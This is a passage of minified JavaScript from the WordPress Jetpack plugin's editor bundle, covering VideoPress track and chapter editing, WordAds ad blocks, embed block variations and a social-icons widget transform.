__("Kind","jetpack"),onChange:e=>{a({...t,kind:e})},disabled:k}),(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-buttons-container"},k?(0,r.createElement)(s.Spinner,null):(0,r.createElement)(s.Button,{variant:"secondary",disabled:!t.tmpFile,onClick:()=>{v(null),""===E&&(t.label=__("English","jetpack")),""===w&&(t.srcLang="en"),void 0===t.kind&&(t.kind=p),f(t)?v(__("A track already exists for that language and kind.","jetpack")):(y(!0),b(t,n).then((()=>{a(t),v(null),o()})).catch((e=>{e.message&&v(e.message)})).finally((()=>{y(!1)})))}},__("Save","jetpack")),(0,r.createElement)(s.Button,{variant:"link",onClick:d},__("Close","jetpack"))),g&&(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-error"},/* translators: %s: An error message returned after a failed video track file upload." */
(0,u.sprintf)(__("Error: %s","jetpack"),g))))}function E(e){let{tracks:t=[],onChange:n,guid:a}=e;const[o,i]=(0,c.useState)(null);return(0,r.createElement)(s.Dropdown,{contentClassName:"videopress-block-tracks-editor",renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return(0,r.createElement)(s.ToolbarButton,{label:__("Text tracks","jetpack"),showTooltip:!0,"aria-expanded":t,"aria-haspopup":"true",onClick:n,icon:f})},renderContent:()=>null!==o?(0,r.createElement)(y,{track:t[o],guid:a,onChange:e=>{const r=[...t];r[o]=e,n(r)},onClose:()=>i(null),onCancel:()=>{n(t.filter(((e,t)=>t!==o))),i(null)},trackExists:e=>-1!==t.filter(((e,t)=>t!==o)).findIndex((t=>t.kind===e.kind&&t.srcLang===e.srcLang))}):(0,r.createElement)(r.Fragment,null,(0,r.createElement)(s.NavigableMenu,null,(0,r.createElement)(k,{tracks:t,onChange:n,guid:a}),(0,r.createElement)(s.MenuGroup,{className:"videopress-block-tracks-editor__add-tracks-container",label:__("Add tracks","jetpack")},(0,r.createElement)(s.MenuItem,{icon:d.Z,onClick:()=>{(()=>{const e=t.length,r=[...t];r[e]||(r[e]={}),r[e]={...t[e]},n(r),i(e)})()}},__("Upload track","jetpack")))))})}},32478:function(e,t,n){"use strict";n.d(t,{$:function(){return f}});var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(61074),c=n(65235),u=n.n(c),d=n(81427);const __=s.__,p=["image"],m=e=>{const{videoPosterImageUrl:t}=e;return(0,r.createElement)("div",{className:"resumable-upload__editor-thumb-placeholder"},t?(0,r.createElement)(r.Fragment,null,(0,r.createElement)("img",{src:t,alt:"Poster"}),(0,r.createElement)(l.Z,{className:"uploading-editor__play-icon",icon:d.o1})):(0,r.createElement)("span",null,"No Poster Selected"))},h=e=>{const{onSelectPoster:t,onRemovePoster:n}=e;return(0,r.createElement)(o.BaseControl,{className:u()(e.className,"editor-video-poster-control")},(0,r.createElement)(m,e),(0,r.createElement)(a.MediaUpload,{title:__("Select Poster Image","jetpack"),onSelect:t,allowedTypes:p,render:e=>{let{open:t}=e;return(0,r.createElement)("div",{className:"poster-selector__buttons"},(0,r.createElement)(o.Button,{onClick:n,variant:"link",isDestructive:!0},__("Remove Poster Image","jetpack")),(0,r.createElement)(o.Button,{variant:"secondary",onClick:t},__("Select Poster Image","jetpack")))}}))},f=e=>{const{file:t,onSelectPoster:n,onRemovePoster:s,videoPosterImageData:c,title:u,onChangeTitle:m,onVideoFrameSelected:f}=e,[g,b]=(0,i.useState)(0),[v,k]=(0,i.useState)(!0),y=(0,i.useRef)(null),E=(0,i.useRef)(null),w=()=>{k(!1)};(0,i.useEffect)((()=>{null!==t&&y&&(y.current.src=URL.createObjectURL(t))}),[t,y]);const _={};return c&&(_.display="none"),(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{className:"uploading-editor"},(0,r.createElement)("div",{className:"uploading-editor__summary"}),(0,r.createElement)("div",{className:"uploading-editor__fields"},(0,r.createElement)(o.TextControl,{label:__("Video title","jetpack"),className:"uploading-editor__title",onChange:m,value:u}),(0,r.createElement)("div",{className:"uploading-editor__content"},(0,r.createElement)(o.BaseControl,{label:__("Video poster (optional)","jetpack")},v?(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{className:"uploading-editor__video-container"},(0,r.createElement)("div",{className:"uploading-editor__video-poster-wrapper"},c&&(0,r.createElement)(h,{onSelectPoster:n,onRemovePoster:s,videoPosterImageUrl:c.url}),(0,r.createElement)("video",{ref:y,muted:!0,className:"uploading-editor__video",onDurationChange:e=>{const t=e.target.duration;b(t),y.current&&(y.current.currentTime=t/2)},onError:w,onLoadedMetadata:e=>{e.target.videoHeight||w()},style:_})),!c&&(0,r.createElement)(l.Z,{className:"uploading-editor__play-icon",icon:d.o1})),(0,r.createElement)("span",{style:_},(0,r.createElement)(o.RangeControl,{className:"uploading-editor__range",min:"0",step:"0.1",max:g,showTooltip:!1,withInputField:!1,onChange:e=>{f(1e3*e),y.current&&(y.current.currentTime=e)}})),(0,r.createElement)("span",{className:"uploading-editor__scrubber-help",style:_},(0,i.createInterpolateElement)(__("This is how the video will look. Use the slider to choose a poster or <a>select a custom one</a>.","jetpack"),{a:(0,r.createElement)(a.MediaUpload,{title:__("Select Poster Image","jetpack"),onSelect:n,allowedTypes:p,render:e=>{let{open:t}=e;return(0,r.createElement)("a",{className:"uploading-editor__upload-link",onClick:t,onKeyDown:t,ref:E,role:"button",tabIndex:0},__("select a custom one","jetpack"))}})}))):(0,r.createElement)(h,{onSelectPoster:n,videoPosterImageUrl:c?c.url:null}))))))}},90953:function(e,t,n){"use strict";n.d(t,{p:function(){return a}});var r=n(96483);const a=(e,t)=>{let{autoplay:n,controls:a,loop:o,muted:i,playsinline:s,poster:l,preload:c,seekbarColor:u,seekbarPlayedColor:d,seekbarLoadingColor:p,useAverageColor:m}=t;if(!e)return null;const h={resizeToParent:!0,cover:!0,...n&&{autoPlay:!0},...!a&&{controls:!1},...o&&{loop:!0},...i&&{muted:!0,persistVolume:!1},...s&&{playsinline:!0},...l&&{posterUrl:l},...""!==c&&{preloadContent:c},...""!==u&&{sbc:u},...""!==d&&{sbpc:d},...""!==p&&{sblc:p},...m&&{useAverageColor:!0}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,h)}},77290:function(e,t,n){"use strict";n.d(t,{K8:function(){return l},Kp:function(){return u},Zx:function(){return c},f6:function(){return s}});var r=n(65235),a=n.n(r),o=n(90879);const i=e=>{const t=o.s.reduce(((e,t)=>{let{className:n}=t;return e[n]=!1,e}),{"wp-has-aspect-ratio":!1});return a()(e,t)};function s(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(!(!(arguments.length>2&&void 0!==arguments[2])||arguments[2]))return i(t);const n=document.implementation.createHTMLDocument("");n.body.innerHTML=e;const r=n.body.querySelector("iframe");if(r&&r.height&&r.width){const e=(r.width/r.height).toFixed(2);for(let n=0;n<o.s.length;n++){const r=o.s[n];if(e>=r.ratio)return a()(i(t),r.className,"wp-has-aspect-ratio")}}return t}const l=e=>e.replace(/\.[^/.]+$/,""),c=e=>{if(!e||"string"!=typeof e)return null;const t=e.match(/^https?:\/\/(?<host>video(?:\.word|s\.files\.word)?press\.com)(?:\/v|\/embed)?\/(?<guid>[a-zA-Z\d]{8})/);return t?.groups?.guid?t.groups.guid:null},u=e=>{const{guid:t,videoPressTracks:n,isVideoPressExample:r}=e;if(!t?.length)return!1;if(!Array.isArray(n))return!1;return!(!Object.keys(e).includes("isVideoPressExample")||"boolean"!=typeof r)}},65192:function(e,t,n){"use strict";n.d(t,{Z:function(){return f}});var r=n(51806),a=n(13419),o=n(52175),i=n(4981),s=n(55609),l=n(9818),c=n(12238),u=n(65736),d=(n(99196),n(77290)),p=n(5743);const __=u.__,m={instances:[]},h=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;if(arguments.length>1&&void 0!==arguments[1]&&arguments[1]&&(m.instances=[]),e.forEach((e=>{if(e.innerBlocks.length)return void h(e.innerBlocks,!1,t+1);const{clientId:n,name:r,attributes:a}=e;"core/video"===r&&(0,d.Kp)(a)&&m.instances.push({clientId:n,name:r,attributes:a})})),0===t)return m.instances};function f(e){let{clientId:t,attributes:n}=e;const u=(0,l.useSelect)((e=>e(c.store).getCurrentPostId())),{getBlocks:m}=(0,l.useSelect)(o.store),{replaceBlock:f}=(0,l.useDispatch)(o.store),{tracks:g}=(0,a.z$)();return(0,r.createElement)("div",{className:p.Z.wrapper},(0,r.createElement)(s.Notice,{status:"info",isDismissible:!1,className:p.Z["conversion-notice"]},__("You can transform this post's video blocks to the new VideoPress block to take advantage of new features, such as adding chapters directly in the description or hiding the video's share menu.","jetpack")),(0,r.createElement)(s.Button,{variant:"primary",onClick:()=>{const e=h(m(),!0);e?.length&&(e.find((e=>e.clientId===t))||e.push({clientId:t,name:"core/video",currentBlockAttributes:n}),e.forEach((e=>{const{clientId:t,name:n,attributes:r}=e;"core/video"===n&&(0,d.Kp)(r)&&(f(t,(0,i.createBlock)("videopress/video",r)),g.recordEvent("jetpack_editor_videopress_block_manual_conversion_click",{post_id:u}))})))}},__("Transform blocks to VideoPress","jetpack")))}},68938:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(77290),s=n(65192);const l=(0,o.createHigherOrderComponent)((e=>t=>(0,i.Kp)(t.attributes)?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(s.Z,{clientId:t.clientId,attributes:t.attributes})),(0,r.createElement)(e,t)):(0,r.createElement)(e,t)));t.Z=l},23062:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(13419),a=n(68938);const o="videopress/video";function i(e,t){if("core/video"!==t)return e;const{available:n}=(0,r.OZ)(o);return n?{...e,edit:(0,a.Z)(e.edit)}:e}},73859:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(51806),a=n(55609),o=n(65736),i=n(78680),s=n(75255);const __=o.__,l="videopress/video-chapters",c=!!window?.Jetpack_Editor_Initial_State?.available_blocks[l],u=31;function d(e){let{isRequestingVideoItem:t}=e;const{attributes:n,setAttributes:o}=(0,s.Z)(),{title:d,description:p}=n,m=(0,i.L)(l),h=p?.length?p.split("\n").map((e=>Math.ceil(e.length/u)||1)).reduce(((e,t)=>e+t),0):4,f=Math.min(12,Math.max(h,4));if(!c)return null;return(0,r.createElement)(a.PanelBody,{title:__("Details","jetpack"),className:m?"is-beta":""},(0,r.createElement)(a.TextControl,{label:__("Title","jetpack"),value:d,placeholder:__("Video title","jetpack"),onChange:e=>{o({title:e})},disabled:t}),(0,r.createElement)(a.TextareaControl,{label:__("Description","jetpack"),value:p,placeholder:__("Video description","jetpack"),onChange:e=>{o({description:e})},disabled:t,rows:f}))}},24288:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(69307),s=n(73859),l=n(67203),c=n(49664),u=n(84676);const d=(0,o.createHigherOrderComponent)((e=>t=>{const{attributes:n,setAttributes:o}=t,[d,p]=(0,l.Z)(n?.id),[m]=(0,c.v)(n);return(0,i.useEffect)((()=>{if(!d)return;const e={};d?.title&&(e.title=d.title),d?.description&&(e.description=d.description),Object.keys(e).length&&(o(e),m(e))}),[d,o,m]),u.d&&"core/video"!==!t.name&&t.attributes?.guid?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(s.Z,{isRequestingVideoItem:p})),(0,r.createElement)(e,t)):(0,r.createElement)(e,t)}));t.Z=d},75255:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(52175),a=n(9818);function o(){const{clientId:e,attributes:t}=(0,a.useSelect)((e=>{const t=e(r.store).getSelectedBlockClientId();return{clientId:t,attributes:t?e("core/block-editor").getBlockAttributes(t):void 0}})),{updateBlockAttributes:n}=(0,a.useDispatch)(r.store);return{clientId:e,attributes:t,setAttributes:t=>n(e,t)}}},49664:function(e,t,n){"use strict";n.d(t,{v:function(){return f}});var r=n(86989),a=n.n(r),o=n(94333),i=n(37798),s=n(9818),l=n(12238),c=n(69307),u=n(65736),d=n(22081),p=n(90953),m=n(6268),h=n(38871);const __=u.__;function f(e){const{id:t,title:n,description:r,guid:u}=e,f=(0,s.useSelect)((e=>e(l.store).isSavingPost()),[]),g=(0,o.usePrevious)(f),b=(0,s.useDispatch)(i.store).invalidateResolution,[v,k]=(0,c.useState)(),y=(0,c.useCallback)((e=>{k((t=>({...t,...e})))}),[]);(0,c.useEffect)((()=>{k({title:n,description:r})}),[]);const E=function(e){return t=>new Promise(((n,r)=>{a()({path:"/wpcom/v2/videopress/meta",method:"POST",data:{id:e,...t}}).then((e=>{if(200!==e?.data)return r(e);n(e)})).catch(r)}))}(t);return(0,c.useEffect)((()=>{if(!f||g)return;if(!t)return;const a={};if(v?.title!==n&&(a.title=n),v?.description!==r&&(a.description=r),!Object.keys(a).length)return;if(E(a).then((()=>y({title:n,description:r}))),!a?.description?.length)return;const o=(0,m.ZP)(a.description);if(!o?.length)return;const i={label:__("English","jetpack"),srcLang:"en",kind:"chapters",tmpFile:(0,h.ZP)(a.description)};(0,d.n)(i,u).then((()=>{const t=(0,p.p)(u,e);b("getEmbedPreview",[t])}))}),[f,g,n,v?.title,v?.description,r,E,y,e,b,t,u]),[y]}},67203:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(86989),a=n.n(r),o=n(69307);function i(e){const[t,n]=(0,o.useState)({}),[r,i]=(0,o.useState)(!1);return(0,o.useEffect)((()=>{e&&(i(!0),async function(){try{const t=await a()({path:`/wp/v2/media/${e}`});n(t?.jetpack_videopress||{}),i(!1)}catch(e){throw i(!1),new Error(e)}}())}),[e]),[t,r]}},84676:function(e,t,n){"use strict";n.d(t,{Z:function(){return o},d:function(){return a}});var r=n(24288);const a=!!window?.Jetpack_Editor_Initial_State?.available_blocks["videopress/video-chapters"];function o(e,t){if(!a)return e;if("core/video"!==t)return e;const n={...e.attributes,title:{type:"string"},description:{type:"string"}};return{...e,attributes:n,edit:(0,r.Z)(e.edit)}}},6268:function(e,t,n){"use strict";function r(e){return e.split("\n").map((e=>function(e){const t=/(?<timeBlock>\(?(?<time>\d{1,2}:\d{2}:\d{2}|\d{1,2}:\d{2})\)?)/.exec(e);if(null==t||null==t.groups)return null;const{groups:{timeBlock:n,time:r}}=t,a=e.indexOf(n),o=(a<(e.length-n.length)/2?e.substring(a+n.length,e.length):e.substring(0,a)).trim().replace(/(\s-$)|(^-\s)/,""),i=r.split(":");return 1===i[0].length&&(i[0]=`0${i[0]}`),2===i.length&&i.unshift("00"),{startAt:i.join(":"),title:o}}(e))).filter((e=>null!==e)).sort(((e,t)=>e.startAt.localeCompare(t.startAt)))}n.d(t,{Tn:function(){return r},ZP:function(){return r}})},38871:function(e,t,n){"use strict";n.d(t,{ZP:function(){return o}});var r=n(6268);function a(e){const t=Math.floor(e/36e5);let n=e-36e5*t;const r=Math.floor(n/6e4);n-=6e4*r;return[t,r,Math.floor(n/1e3)].map((e=>e<10?`0${e}`:e)).join(":")}function o(e,t){const n=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:359999e3;const n=(0,r.Tn)(e);if(0===n.length)return null;let o="WEBVTT\n",i=1;for(const[e,r]of n.entries()){const s=0===e?"000":"001",l=e<n.length-1?n[e+1].startAt:a(t);o+=`\n${i++}\n${r.startAt}.${s} --\x3e ${l}.000\n${r.title}\n`}return o}(e,t);return n?new File([n],"chapters.vtt",{type:"text/vtt"}):null}},50354:function(e,t,n){"use strict";n.d(t,{U:function(){return i},m:function(){return s}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__,i="mrec",s=[{height:250,icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-7-2h2V7h-4v2h2z"})),name:__("Rectangle 300x250","jetpack"),tag:i,width:300,editorPadding:30},{height:90,icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2z"})),name:__("Leaderboard 728x90","jetpack"),tag:"leaderboard",width:728,editorPadding:60},{height:50,icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2z"})),name:__("Mobile Leaderboard 320x50","jetpack"),tag:"mobile_leaderboard",width:320,editorPadding:100},{height:600,icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M.04 0h24v24h-24V0z"}),(0,r.createElement)(a.Path,{d:"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16h-14V5h14v14zm-6-2h2V7h-2v4h-2V7h-2v6h4z"})),name:__("Wide Skyscraper 160x600","jetpack"),tag:"wideskyscraper",width:160,editorPadding:30}]},56565:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(1020);const __=i.__,l=e=>{let{value:t,onChange:n}=e;return(0,r.createElement)(o.PanelBody,{title:__("Visibility","jetpack")},(0,r.createElement)(o.ToggleControl,{className:"jetpack-wordads__mobile-visibility",checked:!!t,label:__("Hide on mobile","jetpack"),help:__("Hides this block for site visitors on mobile devices.","jetpack"),onChange:n}))};t.Z=e=>{let{attributes:{format:t,hideMobile:n},setAttributes:o}=e;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(s.Z,{value:t,onChange:e=>o({format:e})})),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(l,{value:n,onChange:e=>o({hideMobile:!!e})})))}},53193:function(e,t,n){"use strict";var r=n(51806),a=n(50354),o=n(56565),i=n(80405),s=n(72473),l=n(38511),c=n(52203);t.Z=e=>{let{attributes:t,setAttributes:n}=e;const{format:u}=t,d=a.m.find((e=>{let{tag:t}=e;return t===u}));return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Z,{attributes:t,setAttributes:n}),(0,r.createElement)("div",{className:`wp-block-jetpack-wordads jetpack-wordads-${u}`},(0,r.createElement)("div",{className:"jetpack-wordads__ad",style:{width:d.width,height:d.height,backgroundImage:`url( ${(e=>{switch(e){case"leaderboard":return c;case"mobile_leaderboard":return l;case"wideskyscraper":return i;default:return s}})(u)} )`,backgroundSize:"cover"}})))}},3432:function(e,t,n){"use strict";var r=n(31985),a=n(57795);(0,r.Z)(a.u2,a.Xd)},1020:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(55609),o=n(65736),i=n(50354);const s=(0,o.__)("Pick an ad format","jetpack");function l(e){let{value:t,onChange:n}=e;return(0,r.createElement)(a.Dropdown,{placement:"bottom-start",renderToggle:e=>{let{onToggle:t,isOpen:n}=e;return(0,r.createElement)(a.ToolbarGroup,{controls:[{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M1 9h2V7H1v2zm0 4h2v-2H1v2zm0-8h2V3c-1.1 0-2 .9-2 2zm8 16h2v-2H9v2zm-8-4h2v-2H1v2zm2 4v-2H1c0 1.1.9 2 2 2zM21 3h-8v6h10V5c0-1.1-.9-2-2-2zm0 14h2v-2h-2v2zM9 5h2V3H9v2zM5 21h2v-2H5v2zM5 5h2V3H5v2zm16 16c1.1 0 2-.9 2-2h-2v2zm0-8h2v-2h-2v2zm-8 8h2v-2h-2v2zm4 0h2v-2h-2v2z"})),title:s,onClick:t,extraProps:{"aria-expanded":n},className:"wp-block-jetpack-wordads__format-picker-icon"}]})},renderContent:e=>{let{onClose:o}=e;return(0,r.createElement)(a.NavigableMenu,{className:"wp-block-jetpack-wordads__format-picker"},i.m.map((e=>{let{tag:i,name:s,icon:l}=e;return(0,r.createElement)(a.MenuItem,{className:i===t?"is-active":void 0,icon:l,isSelected:i===t,key:i,onClick:()=>{n(i),o()},role:"menuitemcheckbox"},s)})))}})}},57795:function(e,t,n){"use strict";n.d(t,{Xd:function(){return m},u2:function(){return u}});var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(70355),l=n(50354),c=n(53193);const __=i.__,_x=i._x,u="wordads",d=__("Ad","jetpack"),p=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{fill:"currentColor",d:"M12,8H4A2,2 0 0,0 2,10V14A2,2 0 0,0 4,16H5V20A1,1 0 0,0 6,21H8A1,1 0 0,0 9,20V16H12L17,20V4L12,8M15,15.6L13,14H4V10H13L15,8.4V15.6M21.5,12C21.5,13.71 20.54,15.26 19,16V8C20.53,8.75 21.5,10.3 21.5,12Z"})),m={title:d,description:(0,r.createElement)(o.Fragment,null,(0,r.createElement)("p",null,__("Earn income by adding high quality ads to your post","jetpack")),(0,r.createElement)(a.ExternalLink,{href:"https://wordads.co/"},__("Learn all about WordAds","jetpack"))),icon:{src:p,foreground:(0,s.m)()},attributes:{align:{type:"string",default:"center"},format:{type:"string",default:l.U},hideMobile:{type:"boolean",default:!1}},example:{attributes:{}},category:"earn",keywords:[_x("ads","block search term","jetpack"),"WordAds",_x("advertisement","block search term","jetpack")],supports:{align:["left","center","right"],alignWide:!1,className:!1,customClassName:!1,html:!1,reusable:!1},edit:c.Z,save:()=>null}},78680:function(e,t,n){"use strict";n.d(t,{L:function(){return d}});var r=n(82674),a=n.n(r),o=n(51806),i=n(86989),s=n.n(i),l=n(94333),c=n(92694),u=(n(80425),n(85921),n(63066),n(92713),n(54414),n(36215),n(31657),n(23984),n(14688),n(7652),n(1949));function d(e){if(!u)return!1;const t=u.beta||[],n=e.replace(/jetpack\//,"");return t.includes(e)||t.includes(n)}s().use(((e,t)=>{if("cors"===e.mode)return t(e);if(e.url)try{const n=new URL(e.url,location.href);if(n.protocol!==location.protocol||n.hostname!==location.hostname||n.port!==location.port)return t(e)}catch{return t(e)}return e.headers||(e.headers={}),e.headers["x-wp-api-fetch-from-editor"]="true",t(e)})),(0,c.addFilter)("blocks.registerBlockType","jetpack/label-beta-blocks-title",(function(e,t){return d(t)?{...e,title:`${e.title} (beta)`,kewords:[...e.keywords,"beta"]}:e}));const p=(0,l.createHigherOrderComponent)((e=>t=>{if(t?.clientRootId)return(0,o.createElement)(e,t);const{name:n}=t;return d(n)?(0,o.createElement)(e,a()({},t,{className:"is-beta-extension"})):(0,o.createElement)(e,t)}),"withBetaClassName");(0,c.addFilter)("editor.BlockListBlock","jetpack/label-beta-extensions",p)},6460:function(e,t,n){"use strict";var r=n(4981),a=n(65736),o=n(81427);const __=a.__,i={name:"descript",title:"Descript",icon:o.h,keywords:[__("descript","jetpack")],description:__("Embed a Descript Item.","jetpack"),patterns:[/^https:\/\/share.descript.com\/(view|embed)\/\w+/i],attributes:{providerNameSlug:"descript",responsive:!0}};(0,r.registerBlockVariation)("core/embed",i)},5166:function(e,t,n){"use strict";var r=n(92694),a=n(65736),o=n(70355);const __=a.__,_x=a._x,i={name:"facebook",title:"Facebook",icon:{src:"facebook",foreground:(0,o.m)()},keywords:[_x("social","block search term","jetpack")],description:__("Embed a Facebook post.","jetpack"),patterns:[/^https?:\/\/www\.facebook.com\/.+/i],attributes:{providerNameSlug:"facebook",previewable:!1,responsive:!0}};(0,r.addFilter)("blocks.registerBlockType","reactivateFacebookEmbedBlockVariation",(function(e,t){if("core/embed"!==t||!e.variations)return e;const n=e.variations.filter((e=>e.name!==i.name));return e.variations=[...n,i],e}))},36215:function(e,t,n){"use strict";n(5166),n(20970),n(25467),n(91128),n(6460)},20970:function(e,t,n){"use strict";var r=n(92694),a=n(65736),o=n(70355),i=n(12923);const __=a.__,_x=a._x,s={name:"instagram",title:"Instagram",icon:{src:"instagram",foreground:(0,o.m)()},keywords:[_x("image","block search term","jetpack"),_x("social","block search term","jetpack")],description:__("Embed an Instagram post.","jetpack"),patterns:[/^https?:\/\/(www\.)?instagr(\.am|am\.com)\/.+/i],attributes:{providerNameSlug:"instagram",responsive:!0}};(0,r.addFilter)("blocks.registerBlockType","reactivateInstagramEmbedBlockVariation",(function(e,t){if("core/embed"!==t||!e.variations||!(0,i.Z)())return e;const n=e.variations.filter((e=>e.name!==s.name));return e.variations=[...n,s],e}))},25467:function(e,t,n){"use strict";var r=n(4981),a=n(65736),o=n(81427);const __=a.__,i={name:"loom",title:"Loom",icon:o.zf,keywords:[__("video","jetpack")],description:__("Embed a Loom video.","jetpack"),patterns:[/^https?:\/\/(www\.)?loom\.com\/share\/.+/i],attributes:{providerNameSlug:"loom",responsive:!0}};(0,r.registerBlockVariation)("core/embed",i)},91128:function(e,t,n){"use strict";var r=n(4981),a=n(65736),o=n(81427);const __=a.__,i={name:"smartframe",title:"SmartFrame",icon:o.Ae,keywords:[__("smartframe","jetpack")],description:__("Embed a SmartFrame Image.","jetpack"),patterns:[/^https?:\/\/(.*?).smartframe.(io|net)\/.*/i],attributes:{providerNameSlug:"smartframe",responsive:!0}};(0,r.registerBlockVariation)("core/embed",i)},31657:function(e,t,n){"use strict";var r=n(4981),a=n(92694),o=n(6512);const i={from:[{type:"block",isMultiBlock:!1,blocks:["core/legacy-widget"],isMatch:e=>{let{idBase:t,instance:n}=e;return!!n?.raw&&"jetpack_widget_social_icons"===t},transform:e=>{let{instance:t}=e,n=[];return t.raw.icons.forEach((e=>{const t=new URL(e.url.includes(":")?e.url:"https://"+e.url),a=t.hostname?t.hostname:t.protocol,i=o.Z.find((e=>a.includes(e.url)||e.url.includes(a))),s=(0,r.createBlock)("core/social-link",{service:i?i.name:"chain",url:e.url});n=[...n,s]})),(0,r.createBlock)("core/social-links",{},n)}}]};(0,a.addFilter)("blocks.registerBlockType","addTransformToSocialLinksWidget",(function(e,t){return"core/social-links"!==t||(e.transforms=i),e}))},6512:function(e,t){"use strict";t.Z=[{name:"wordpress",url:["wordpress."]},{name:"fivehundredpx",url:["500px.com"]},{name:"amazon",url:["amazon."]},{name:"bandcamp",url:["bandcamp.com"]},{name:"behance",url:["behance.net"]},{name:"codepen",url:["codepen.io"]},{name:"deviantart",url:["deviantart.com"]},{name:"dribbble",url:["dribbble.com"]},{name:"dropbox",url:["dropbox.com"]},{name:"etsy",url:["etsy.com"]},{name:"facebook",url:["facebook.com"]},{name:"flickr",url:["flickr.com"]},{name:"foursquare",url:["foursquare.com"]},{name:"goodreads",url:["goodreads.com"]},{name:"google",url:["google."]},{name:"github",url:["github.com"]},{name:"instagram",url:["instagram.com"]},{name:"lastfm",url:["last.fm"]},{name:"linkedin",url:["linkedin.com"]},{name:"mail",url:["mailto:"]},{name:"linkedin",url:["linkedin.com"]},{name:"mastodon",url:["mastodon.social"]},{name:"meetup",url:["meetup.com"]},{name:"medium",url:["medium.com"]},{name:"patreon",url:["patreon.com"]},{name:"pinterest",url:["pinterest."]},{name:"pocket",url:["getpocket.com"]},{name:"reddit",url:["reddit.com"]},{name:"skype",url:["skype.com","skype:"]},{name:"snapchat",url:["snapchat.com"]},{name:"soundcloud",url:["soundcloud.com"]},{name:"spotify",url:["spotify.com"]},{name:"telegram",url:["telegram.me","t.me"]},{name:"tiktok",url:["tiktok.com"]},{name:"tumblr",url:["tumblr.com"]},{name:"twitch",url:["twitch.tv"]},{name:"twitter",url:["twitter.com"]},{name:"vimeo",url:["vimeo.com"]},{name:"vk",url:["vk.com"]},{name:"yelp",url:["yelp.com"]},{name:"youtube",url:["youtube.com"]}]},87950:function(e,t,n){"use strict";n.d(t,{L:function(){return i},x:function(){return o}});var r=n(51806),a=n(69307);const o=(0,a.createContext)(),i=e=>{let{onBannerVisibilityChange:t,hasParentBanner:n,children:a}=e;return(0,r.createElement)(o.Provider,{value:{onBannerVisibilityChange:t,hasParentBanner:n},children:a})}},23984:function(e,t,n){"use strict";var r=n(13419),a=n(47701),o=n.n(a),i=n(92694),s=n(65736),l=n(92819),c=n(30371),u=n(7832),d=n(42770),p=n(27003);const 